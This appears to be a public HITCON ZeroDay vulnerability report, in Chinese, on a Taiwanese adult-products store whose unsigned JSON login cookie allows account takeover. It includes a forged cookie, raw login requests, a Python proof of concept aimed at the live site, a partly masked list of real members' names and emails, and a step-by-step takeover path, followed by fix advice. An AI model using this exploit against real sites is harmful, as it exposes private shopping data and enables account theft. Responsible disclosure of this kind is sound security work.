Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00325
- Vendor: 情趣用品界第一把交椅
- Title: 情趣用品界第一把交椅 E大 未簽章 Cookie 身份驗證導致任意帳號接管(IDOR)
- Introduction: 網站使用未經簽章的明文 JSON Cookie 進行身份驗證,攻擊者可偽造 Cookie 中的使用者 ID 存取並修改任意會員個資。
- 獎勵金
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/03/11 23:51:10 : 新提交 (由 Marco 更新此狀態)
- 2026/03/12 00:09:54 : 新提交 (由 Marco 更新此狀態)
- 2026/03/13 16:48:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/13 17:13:26 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/13 17:13:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/13 17:13:26 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/25 17:01:24 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/25 17:42:47 : 確認已修補 (由 Marco 更新此狀態)
- 2026/03/25 19:19:50 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/04/01 01:04:31 : 確認已修補 (由 Marco 更新此狀態)
- 2026/04/04 03:00:27 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00325
- 通報者:mlgzackfly (Marco)
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://erotogenic.com.tw/user01.php
https://erotogenic.com.tw/user01_sure.php
https://erotogenic.com.tw/emailc.php
https://erotogenic.com.tw/passc.php
敘述
漏洞說明
網站登入成功後,伺服器設定名為 auth 的 Cookie,內容為未加密、未簽章的明文 JSON,包含使用者身份識別欄位 rid。伺服器直接信任此 Cookie 的 rid 值進行授權,未做任何伺服器端驗證。
攻擊者僅需使用瀏覽器開發者工具修改 Cookie 中的 rid,即可冒充任意會員(包含管理員),讀取及修改其個人資料。
Cookie 結構
登入後取得的 auth Cookie(URL decode 後):
{
"rid": "29183",
"name": "黃昱翔",
"confirm_yn": "1",
"nickname": "H4CK",
"email": "[email protected]",
"line_user_id": null,
"bonus": "0",
"address": null,
"phone": null
}
此 Cookie 無 HMAC 簽章、無加密,可任意竄改。
重現步驟
步驟一:正常登入取得合法 Cookie(帳號僅測試用)
POST /login_sure.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
[email protected]&[email protected]
伺服器回應 Set-Cookie: auth={"rid":"29183",...}
步驟二:偽造 Cookie
使用瀏覽器 DevTools(F12 → Application → Cookies),將 auth Cookie 的值改為:
{"rid":"1","name":"test","confirm_yn":"1","nickname":"test","email":"[email protected]","line_user_id":null,"bonus":"0","address":null,"phone":null}
其中 rid 從 29183(自己)改為 1(管理員)。
步驟三:存取會員資料頁
重新載入 https://erotogenic.com.tw/user01.php,頁面回傳 rid=1 管理員的真實資料:
- 姓名:劉*萍
- 暱稱:牛*瓶
- Email:e**[email protected]
Python PoC:
import requests, json
s = requests.Session()
# 正常登入
s.post('https://erotogenic.com.tw/login_sure.php',
data={'email':'[email protected]','pw':'[email protected]'}, verify=False)
# 偽造 Cookie
forged = json.dumps({"rid":"1","name":"test","confirm_yn":"1","nickname":"test",
"email":"[email protected]","line_user_id":None,"bonus":"0","address":None,"phone":None})
s.cookies.set('auth', forged, domain='erotogenic.com.tw')
# 存取管理員資料
r = s.get('https://erotogenic.com.tw/user01.php', verify=False)
# 頁面回傳管理員真實姓名「劉*萍」與暱稱「牛*瓶」
影響範圍
一、讀取任意使用者個資(IDOR Read)
透過遍歷 rid 值(1 ~ 29183+),可讀取全站會員的真實姓名、暱稱、Email:
| rid | 姓名 | 暱稱 | |
|---|---|---|---|
| 1 | 劉*萍 | 牛*瓶 | k**[email protected] |
| 2 | 洪*程 | e大 | e**[email protected] |
| 4 | 賴*舟 | E*k | 0**[email protected] |
| 5 | 賴*婷 | L*i | l**[email protected] |
| 6 | 溫*瀚 | 翻*魚 | h**[email protected] |
| 7 | 吳*穎 | L*E | e***[email protected] |
| 8 | 林*憲 | L** | m**[email protected] |
| 9 | 張*甯 | e*n | k**[email protected] |
| 10 | 吳*瑩 | 吳** | j**[email protected] |
(以上僅為抽樣,全站會員均受影響)
二、修改任意使用者資料(IDOR Write)
偽造 Cookie 後,透過 POST /user01_sure.php 可修改目標使用者的姓名與暱稱。
已驗證:成功將測試帳號暱稱從 "H4CK" 改為 "H4CK_test"(已還原)。
三、可存取的頁面
| 頁面 | 功能 | 洩露資訊 |
|---|---|---|
| /user01.php | 資料維護 | 姓名、暱稱、Email |
| /user02.php | 購買記錄 | 訂單資料 |
| /user03.php | 紅利明細 | 紅利點數 |
| /desire.php | 願望清單 | 收藏商品 |
| /emailc.php | Email 變更 | 當前 Email |
| /passc.php | 密碼變更 | 需舊密碼(但可搭配 emailc 繞過) |
四、潛在帳號接管路徑
- 偽造 Cookie → 存取
/emailc.php→ 將目標帳號 Email 改為攻擊者 Email - 使用「忘記密碼」功能 → 重設密碼連結寄到攻擊者信箱
- 完成帳號完全接管
修補建議
1. **最佳方案(強烈建議):** 改用 PHP 原生 Session 機制(`$_SESSION`),登入後僅在 Cookie 中存放 Session ID,使用者身份資訊儲存在伺服器端
2. **次要方案:** 若必須使用 Cookie 儲存身份資訊,對 Cookie 內容附加 HMAC 簽章:
```php
$data = json_encode($user_info);
$signature = hash_hmac('sha256', $data, $secret_key);
setcookie('auth', $data . '.' . $signature);
```
伺服器端驗證簽章後才信任 Cookie 內容
3. 所有涉及使用者資料的查詢/修改操作,必須從伺服器端 Session 取得使用者 ID,不可信任客戶端傳入的任何值